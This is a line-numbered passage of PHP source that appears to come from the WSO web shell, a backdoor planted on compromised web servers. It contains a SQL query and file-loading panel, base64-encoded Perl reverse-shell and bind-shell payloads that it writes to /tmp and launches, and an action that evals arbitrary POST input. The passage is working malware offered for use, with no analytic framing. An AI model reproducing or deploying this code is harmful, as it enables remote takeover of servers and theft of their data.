1330 if($i != (int)$_POST['p3'])
1331 echo "<a href='#' onclick='st(\"".$_POST['p2']."\", $i)'>",($i+1),"</a> ";
1332 else
1333 echo ($i+1)," ";
1334 if($_POST['type']=='pgsql')
1335 $_POST['p3'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
1336 else
1337 $_POST['p3'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
1338 echo "<br><br>";
1339 }
1340 if((@$_POST['p1'] == 'query') && !empty($_POST['p3'])) {
1341 $db->query(@$_POST['p3']);
1342 if($db->res !== false) {
1343 $title = false;
1344 echo '<table width=100% cellspacing=0 cellpadding=2 class=main>';
1345 $line = 1;
1346 while($item = $db->fetch()) {
1347 if(!$title) {
1348 echo '<tr>';
1349 foreach($item as $key => $value)
1350 echo '<th>'.$key.'</th>';
1351 reset($item);
1352 $title=true;
1353 echo '</tr><tr>';
1354 $line = 2;
1355 }
1356 echo '<tr class="l'.$line.'">';
1357 $line = $line==1?2:1;
1358 foreach($item as $key => $value) {
1359 if($value == null)
1360 echo '<td><i>null</i></td>';
1361 else
1362 echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
1363 }
1364 echo '</tr>';
1365 }
1366 echo '</table>';
1367 } else {
1368 echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
1369 }
1370 }
1371 echo "<br><textarea name='p3' style='width:100%;height:100px'>".@htmlspecialchars($_POST['p3'])."</textarea><br/><input type=submit value='Execute'>";
1372 echo "</td></tr>";
1373 }
1374 echo "</table></form><br/><form onsubmit='document.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
1375 if(@$_POST['p1'] == 'loadfile') {
1376 $file = $db->loadFile($_POST['p2']);
1377 echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
1378 }
1379 }
1380 echo '</div>';
1381 wsoFooter();
1382}
1383function actionNetwork() {
1384 wsoHeader();
1385 $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
1386 $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
1387 echo "<h1>Network tools</h1><div class=content>
1388 <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
1389 <span>Bind port to /bin/sh [perl]</span><br/>
1390 Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1391 </form>
1392 <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
1393 <span>Back-connect [perl]</span><br/>
1394 Server: <input type='hidden' name='FromShell' id='' value=".$SERVER_SESSIONS."><input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
1395 </form><br>";
1396 if(isset($_POST['p1'])) {
1397 function cf($f,$t) {
1398 $w=@fopen($f,"w") or @function_exists('file_put_contents');
1399 if($w) {
1400 @fwrite($w,@base64_decode($t));
1401 @fclose($w);
1402 }
1403 }
1404 if($_POST['p1'] == 'bpp') {
1405 cf("/tmp/bp.pl",$bind_port_p);
1406 $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
1407 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
1408 }
1409 if($_POST['p1'] == 'bcp') {
1410 cf("/tmp/bc.pl",$back_connect_p);
1411 $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
1412 echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
1413 }
1414 }
1415 echo '</div>';
1416 wsoFooter();
1417}
1418function actionRC() {
1419 if(!@$_POST['p1']) {
1420 $a = array(
1421 "uname" => php_uname(),
1422 "php_version" => phpversion(),
1423 "wso_version" => VERSION,
1424 "safemode" => @ini_get('safe_mode')
1425 );
1426 echo serialize($a);
1427 } else {
1428 eval($_POST['p1']);
1429 }
1430}
1431if( empty($_POST['a']) )
1432 if(isset($default_action) && function_exists('action' . $default_action))
1433 $_POST['a'] = $default_action;
1434 else
1435 $_POST['a'] = 'SecInfo';
1436if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
1437 call_user_func('action' . $_POST['a']);
1438exit;
1439?>